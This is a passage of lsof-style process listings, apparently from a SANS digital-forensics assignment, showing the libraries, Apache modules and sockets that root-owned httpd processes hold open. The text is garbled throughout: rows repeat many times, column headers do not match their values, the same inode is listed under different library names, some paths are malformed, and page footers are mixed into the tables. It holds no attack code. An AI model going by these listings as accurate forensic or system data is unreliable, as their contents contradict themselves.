<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>1,3</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,6</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361624</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4
httpd 10611 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10611 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10611 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10611 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_ldap.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth.so
httpd 10611 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10611 root mem REG 3,2 9900 229497 /usr/lib/apache/mod_auth_db.so
httpd 10611 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_ldap.so
httpd 10611 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so

<table>
<thead>
<tr>
<th>Process</th>
<th>Username</th>
<th>Flags</th>
<th>PID</th>
<th>Priority</th>
<th>User</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>161</td>
<td>130310</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>40</td>
<td>130315</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>22592</td>
<td>130323</td>
<td>httpd 10612 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>89424</td>
<td>63507</td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1561021</td>
<td>229551</td>
<td>/usr/lib/apache/libperl.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++-3-libc6.2-2.10.0.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>59778</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>140418</td>
<td>65389</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td>/usr/lib/libldap.so.2.0.15</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>48583</td>
<td>65345</td>
<td>/usr/lib/libsasl.so.7.1.8</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1264225</td>
<td>229530</td>
<td>/usr/lib/libk5crypto.so.3.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>427611</td>
<td>440053</td>
<td>/usr/lib/krb5.so.3.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td>/usr/lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>46117</td>
<td>65351</td>
<td>/usr/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1264225</td>
<td>229530</td>
<td>/usr/lib/libk5crypto.so.3.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>427611</td>
<td>440053</td>
<td>/usr/lib/krb5.so.3.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td>/usr/lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>46117</td>
<td>65351</td>
<td>/usr/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1264225</td>
<td>229530</td>
<td>/usr/lib/libk5crypto.so.3.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>427611</td>
<td>440053</td>
<td>/usr/lib/krb5.so.3.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td>/usr/lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>46117</td>
<td>65351</td>
<td>/usr/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1264225</td>
<td>229530</td>
<td>/usr/lib/libk5crypto.so.3.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>427611</td>
<td>440053</td>
<td>/usr/lib/krb5.so.3.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td>/usr/lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>46117</td>
<td>65351</td>
<td>/usr/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10612</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 19365 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 9800 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 229522 /usr/lib/apache/mod_expires.so
httpd 19365 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 19365 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 19365 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 19365 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 19365 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 19365 root mem REG 3,2 5300 66039 /usr/lib/libpspell-modules.so.1.0.1
httpd 19365 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3libc6.2-2.10.0.so
httpd 19365 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 59778 65358 /usr/lib/libxslt.so.1.1.3
httpd 19365 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 143326 65678 /usr/lib/libxml2.so.2.4.19
httpd 19365 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 19365 root mem REG 3,2 215482 65389 /usr/lib/libjpeg.so.62.0.0
httpd 19365 root mem REG 3,2 79725 440048 /usr/kerberos/lib/k5crypto.so.3.0
httpd 19365 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 19365 root mem REG 3,2 44992 65349 /usr/lib/libber.so.2.0.15
httpd 19365 root mem REG 3,2 45415 6523 /usr/lib/libxml2.so.2.4.19
httpd 19365 root mem REG 3,2 2457 130317 /dev/null
httpd 19365 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 19365 root mem REG 3,2 427611 440053 /usr/lib/libc.so.6.3.0
httpd 19365 root mem REG 3,2 48583 65345 /usr/lib/libssl.so.7.1.8
httpd 19365 root mem REG 3,2 46117 65351 /usr/lib/libxml2.so.2.2.5.so
httpd 19365 root mem REG 3,5 1401027 73730 /lib686/libc-2.2.5.so
httpd 19365 root 0r CHR 1,3 9637 /dev/null
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Command</th>
<th>Status</th>
<th>IP Address</th>
<th>Ports</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>/usr/sbin/httpd</td>
<td>1w</td>
<td>127.0.0.1</td>
<td>80/tcp</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>/usr/sbin/httpd</td>
<td>1w</td>
<td>127.0.0.1</td>
<td>443/tcp</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>/usr/sbin/httpd</td>
<td>3u</td>
<td>127.0.0.1</td>
<td>80/tcp</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>/usr/sbin/httpd</td>
<td>3u</td>
<td>127.0.0.1</td>
<td>443/tcp</td>
</tr>
</tbody>
</table>

SANS GCFA Assignment

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
<p>|
|-------------------|-------------------|-------------------|-------------------|-------------------|-------------------|-------------------|-------------------|
| <strong>httpd</strong>         | <strong>httpd</strong>         | <strong>httpd</strong>         | <strong>httpd</strong>         | <strong>httpd</strong>         | <strong>httpd</strong>         | <strong>httpd</strong>         | <strong>httpd</strong>         |
| 19367             | root              | mem               | REG               | 3,5               | 655224            | 63543             | /lib/libdb-3.3.so  |
| 19367             | root              | mem               | REG               | 3,2               | 19662             | 66292             | /usr/lib/libmm.so.11.0.23 |
| 19367             | root              | mem               | REG               | 3,2               | 141735            | 65380             | /usr/lib/libexpat.so.0.1.0 |
| 19367             | root              | mem               | REG               | 3,5               | 12102             | 63503             | /lib/libd1-2.2.3.so |
| 19367             | root              | mem               | REG               | 3,2               | 14929             | 229516            | /usr/lib/apache/mod_mime.so |
| 19367             | root              | mem               | REG               | 3,2               | 27415             | 229519            | /usr/lib/apache/mod_negotiation.so |
| 19367             | root              | mem               | REG               | 3,2               | 18365             | 229523            | /usr/lib/apache/mod_status.so |
| 19367             | root              | mem               | REG               | 3,2               | 19959             | 229512            | /usr/lib/apache/mod_info.so |
| 19367             | root              | REG               | 3,2               | 35886             | 229511            | /usr/lib/apache/mod_include.so |
| 19367             | root              | REG               | 3,2               | 27836             | 229501            | /usr/lib/apache/mod_autoindex.so |
| 19367             | root              | REG               | 3,2               | 14940             | 229503            | /usr/lib/apache/mod_cgi.so |
| 19367             | root              | REG               | 3,2               | 6924              | 229496            | /usr/lib/apache/mod_asis.so |
| 19367             | root              | REG               | 3,2               | 15974             | 229510            | /usr/lib/apache/mod_map.so |
| 19367             | root              | REG               | 3,2               | 8541              | 229494            | /usr/lib/apache/mod_actions.so |
| 19367             | root              | REG               | 3,2               | 8770              | 229525            | /usr/lib/apache/mod_userdir.so |
| 19367             | root              | REG               | 3,2               | 10617             | 229495            | /usr/lib/apache/mod_alias.so |
| 19367             | root              | REG               | 3,2               | 53189             | 229520            | /usr/lib/apache/mod_rewrite.so |
| 19367             | root              | REG               | 3,2               | 10034             | 229493            | /usr/lib/apache/mod_access.so |
| 19367             | root              | REG               | 3,2               | 11985             | 229497            | /usr/lib/apache/mod_auth.so |
| 19367             | root              | REG               | 3,2               | 8486              | 229498            | /usr/lib/apache/mod_auth_anon.so |
| 19367             | root              | REG               | 3,2               | 9304              | 229499            | /usr/lib/apache/mod_auth_db.so |
| 19367             | root              | REG               | 3,2               | 9900              | 229508            | /usr/lib/apache/mod_expires.so |
| 19367             | root              | REG               | 3,2               | 8261              | 229509            | /usr/lib/apache/mod_headers.so |
| 19367             | root              | REG               | 3,2               | 10176             | 229521            | /usr/lib/apache/mod_setenvif.so |
| 19367             | root              | REG               | 3,2               | 92407             | 404006            |                     |</p>
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Flags</th>
<th>PID</th>
<th>Size (bytes)</th>
<th>Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>11774</td>
<td>65341</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>210094</td>
<td>63543</td>
<td>/usr/lib/apache/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>29</td>
<td>130316</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>210094</td>
<td>63543</td>
<td>/usr/lib/apache/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>29</td>
<td>130316</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>210094</td>
<td>63543</td>
<td>/usr/lib/apache/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>29</td>
<td>130316</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>210094</td>
<td>63543</td>
<td>/usr/lib/apache/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19368</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Flags</th>
<th>PID</th>
<th>Addr</th>
<th>Size</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++-4.3-1/libc6.2.2-2.10.0.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.0.10.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>59778</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>924879</td>
<td>63562</td>
<td>/lib/ssl.so.0.9.6</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>207008</td>
<td>63563</td>
<td>/lib/ssl.so.0.9.6</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>153026</td>
<td>66042</td>
<td>/usr/lib/libnss_poll.so.4.0.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>290511</td>
<td>65311</td>
<td>/lib/libcurses.so.5.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>215482</td>
<td>65386</td>
<td>/lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>196866</td>
<td>66287</td>
<td>/lib/libgd.so.1.8</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>717774</td>
<td>65410</td>
<td>/usr/lib/libxml2.so.2.4.19</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>66646</td>
<td>65263</td>
<td>/lib/libz.so.1.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>189626</td>
<td>65384</td>
<td>/lib/libttf.so.2.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>295833</td>
<td>65382</td>
<td>/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>140418</td>
<td>65389</td>
<td>/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>79725</td>
<td>440048</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libssl.so.0.9.6</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
